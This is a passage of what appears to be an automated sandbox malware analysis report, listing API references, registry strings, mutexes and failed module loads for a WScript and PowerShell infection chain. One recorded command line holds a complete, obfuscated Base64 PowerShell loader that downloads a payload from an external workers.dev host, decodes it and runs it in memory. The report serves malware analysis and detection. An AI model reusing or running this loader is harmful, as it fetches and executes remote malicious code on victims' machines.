00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "OpenEventW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "OpenFileMappingW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "DuplicateHandle"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateFileMappingW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "VirtualQuery"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "DisableThreadLibraryCalls"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "VirtualLock"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceFrequency"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetQueuedCompletionStatus"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "PostQueuedCompletionStatus"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateIoCompletionPort"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "TryEnterCriticalSection"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "DuplicateToken"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RegNotifyChangeKeyValue"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CoGetObject"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceW"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "CancelSynchronousIo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWork"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpool"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "StartThreadpoolIo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpool"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolIo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolIoCallbacks"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CancelThreadpoolIo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWorkCallbacks"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMinimum"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolWait"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolWaitCallbacks"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolThreadMaximum"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWait"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolWait"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolIo"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "SubmitThreadpoolWork"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolWork"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "RtlGetVersion"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00003340.00000000.201294.47718000.00000002.mdmp, 00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeExW"; Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "StringFromGUID2"; Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemAlloc"; Source: "00000000-00003340.00000000.201294.62CB2000.00000002.mdmp, 00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CryptEncrypt"; Source: "00000000-00003340.00000000.201294.E5290000.00000004.mdmp, 00000000-00003340.00000001.201439.E52AC000.00000004.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "VerSetConditionMask"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "VerifyVersionInfoW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTitleW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetUserDefaultUILanguage"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceExW"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00003340.00000001.201439.501DA000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00003340.00000001.201439.E52AC000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to API (Indicator: "LoadLibrary"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp") Found reference to API (Indicator: "GetProcessById"; Source: "00000000-00003340.00000001.201439.E55D0000.00000004.mdmp")36:Tacc,"SOFTWARE\Policies\Microsoft" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "HKLM\" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00003340.00000000.201294.CA820000.00000004.mdmp 00000000-00003340.00000001.201439.CA820000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003340.00000000.201294.CA820000.00000004.mdmp 00000000-00003340.00000001.201439.CA820000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003340.00000000.201294.CA820000.00000004.mdmp 00000000-00003340.00000001.201439.CA820000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00003340.00000000.201294.CA820000.00000004.mdmp 00000000-00003340.00000001.201439.CA820000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003340.00000000.201294.CCB30000.00000004.mdmp 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00003340.00000000.201294.E5290000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "1-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp37:T659,Process WScript.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:2120:304:WilStaging_02" Process WScript.exe created mutex with name "Local\SM0:2120:304:WilStaging_02" Process powershell.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:3340:304:WilStaging_02" Process powershell.exe created mutex with name "SM0:3340:304:WilStaging_02" Process Caspol.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4104:168:WilStaging_02" Process Caspol.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4104:168:WilStaging_02" Process Caspol.exe created mutex with name "\Sessions\1\BaseNamedObjects\SM0:4104:64:WilError_01" Process Caspol.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex" Process Caspol.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex" Process Caspol.exe created mutex with name "\Sessions\1\BaseNamedObjects\Local\SM0:4104:64:WilError_01" Process Caspol.exe created mutex with name "\Sessions\1\BaseNamedObjects\Global\RasPbFile" Process Caspol.exe created mutex with name "Local\ZonesLockedCacheCounterMutex" Process Caspol.exe created mutex with name "Global\RasPbFile" Process Caspol.exe created mutex with name "Local\SM0:4104:168:WilStaging_02" Process Caspol.exe created mutex with name "SM0:4104:64:WilError_01" Process Caspol.exe created mutex with name "Local\SM0:4104:64:WilError_01" Process Caspol.exe created mutex with name "SM0:4104:168:WilStaging_02" Process Caspol.exe created mutex with name "Local\ZonesCacheCounterMutex"38:Ta10,Process "powershell.exe" with commandline "-WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('KCgnezR9Y29tcHJvbWlzZWQgPSB7MH1odHRwczovL3JvdWdoLXRydXRoLWUwNzIucHVibGknKydjZnRwcmVzZW5kLndvcmtlJysncnMuZGV2L2VnaGRwenswfScrJzsgezR9c3BoZXJlcyA9IHswfScrJ0M6ezF9VXNlcnN7MX1QdWJsaWN7MX1Eb3dubG9hZHN7MX1wYXlsb2FkLnR4dHsnKycwfTsgezR9Z2FwZXNpbmcnKycgPSBbJysnYWN0aXZhdG9yXTo6Y3JlYXRlSW5zdGFuY2UoW25ldC53ZWJjJysnbGllbnRdKTsgezR9Z2FwZXNpbmcuSGVhZGVycycrJy5BZGQoezB9VXNlci1BZ2VudHswfSwgezB9TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2ICcrJyhLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEyMC4wLjAuMCBTYWZhcmkvNTM3LjM2ezB9KScrJzsgezR9Z2FwZXNpbmcuRG93bmxvYScrJ2RGaWxlKHs0fWNvbXByb21pc2VkLCB7NH1zcGgnKydlJysncmVzKTsgezR9bGluZW4gPSAoR2V0LUNvbnRlJysnbnQgezR9c3BoZXJlcyAtUmF3KTsgezR9dGVyZWQnKydpbmUgPSB7NH1sJysnaW5lbi5SZXBsYWNlKHszfSp7M30sezN9QXszJysnfSk7IHs0fXF1aW56ZSA9IFtjaGFyW11dKCh7NH10ZXInKydlZGluZS5UJysnb0NoYXJBcnJheSgpKVsoezR9dGVyZWRpbmUuTGVuZ3RoLTEpLi4wXSk7IHs0fXVzY29jayA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoLWpvaW4gezR9cXVpbnplKTsgW0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uJysnTG9hZCh7NH11c2NvY2spIHsnKycyfSBPdXQtTnVsbDsgW1dpbjMyLlJNUC5hYWFhYWFhXTo6YWFhYWFhYWFhYWEoezMnKyd9S25QUlE4RHpYU2JGT29NNk1EdGVDSnlhNGJ1Nm1FZnBnUk1zZlcveUUrVXRWMHVSeFoyRzZKcnVjWmFvako5K1poenV1ODhsUVlVdElwSm00Z0VkTCcrJ2JDSGdtbUN2eExweWRCTmZqUysnKycxZU09ezN9LHszfXszfScrJyx7M31wY2tQbUozJysndndHJysnZnVCMnp5WHFSdllWdVhwQScrJzhtZTAwMScrJzRYYzlKcG52dDFFVFhveUFTY3lFY2taVWsyM2pzcGxDJysnezN9LHszfTEwYVVXWC9WSTdJJysnQnVuNGx0UHdVMVVJT3Z0V01hbzlqZFlYZTgyTXB3b0k9ezN9LHsnKyczfUlGbmpBbGlqUEMwTGhSZW0zaE1XMkpncGxjL3pwbnp4UkIwb2tpVmlUWFU9ezN9LHszfXszfSx7M30yUHFkZFRqcDVwNFAxSVZ4RCtwVFZpZUNHR3VKVmxuMzd5cmtDRHN6Q3hVPXszfSx7M317MycrJ30sezN9dzh5NnRndCtJNVBwTUZGWnFUb1FaVCcrJ2p5a3VSeXJ6WlcrNkVDaDVHVzE1bz17M30sezN9dGxiMmdJNVVYb3dnYmRMNzFKbm9OSi93a3NoSHhvR0owS1ZCZldDMW1zdk1JcUhGYXBJYWtXemhQd2w5YWdnZnszfSx7M31EUkVsS2VDYnRiJysnNzNYTUJWOWxRTjVIZzNsMXZSdUJUMzhPV1J0ckknKyd3SkwnKydVPXszfSx7M317M30sezN9NzJMVWFEJysnRWpIeHl6UitjUlNzaytaeDFJZnVNJysnc0pSeEljaHI3KzBpMUtZUT17M30sezN9ezMnKyd9LHszJysnfTMyTDBMOTNTV2kyRjgxRjM2SllFU2dORVg1dG5oVnJBZjNNT05EK0lxTHc9ezN9LHszfVpEU2p2eU53NCcrJ3YnKydraUk2NS83VVFqWjdta1BXZC9xdlY1UjdCMy95T25YekU9ezN9LHszfXszfSx7M317M30sezN9ezN9KTsgUmVtb3ZlLUl0ZW0gLVBhdGggezR9c3BoJysnZXJlcyAnKyctRm9yY2UgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUnKS1mW0NIQXJdMzQsW0NIQXJdOTIsW0NIQXJdMTI0LFtDSEFyXTM5LFtDSEFyXTM2KXwuICgodmFSaWFiTGUgJyptZHIqJykuTkFNZVszLDExLDJdLWpvaU4nJyk=')) } | Invoke-Expression"" (UID: 00000000-00003340)39:Teee,"powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll" - [base:0; Status:c0000135] "powershell.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll" - [base:0; Status:c0000135]3a:Td09,"SOFTWARE\Policies\Microsoft" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "HKLM\" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\OOBE\Stats" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Server\ServerLevels" in Source: 00000000-00003340.00000000.201294.47718000.00000002.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00003340.00000000.201294.CA820000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003340.00000000.201294.CA820000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003340.00000000.201294.CA820000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00003340.00000000.201294.CA820000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003340.00000000.201294.CCB30000.00000004.mdmp "SOFTWARE\Microsoft\Cryptography\Defaults\Provider\Microsoft Enhanced RSA and AES Cryptographic Provider" in Source: 00000000-00003340.00000000.201294.E5290000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00003340.00000001.201439.501DA000.00000002.mdmp "th=C:\ProgramData\Oracle\Java\javapath;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0" in Source: 00000000-00003340.00000001.201439.CA820000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003340.00000001.201439.CA820000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003340.00000001.201439.CA820000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 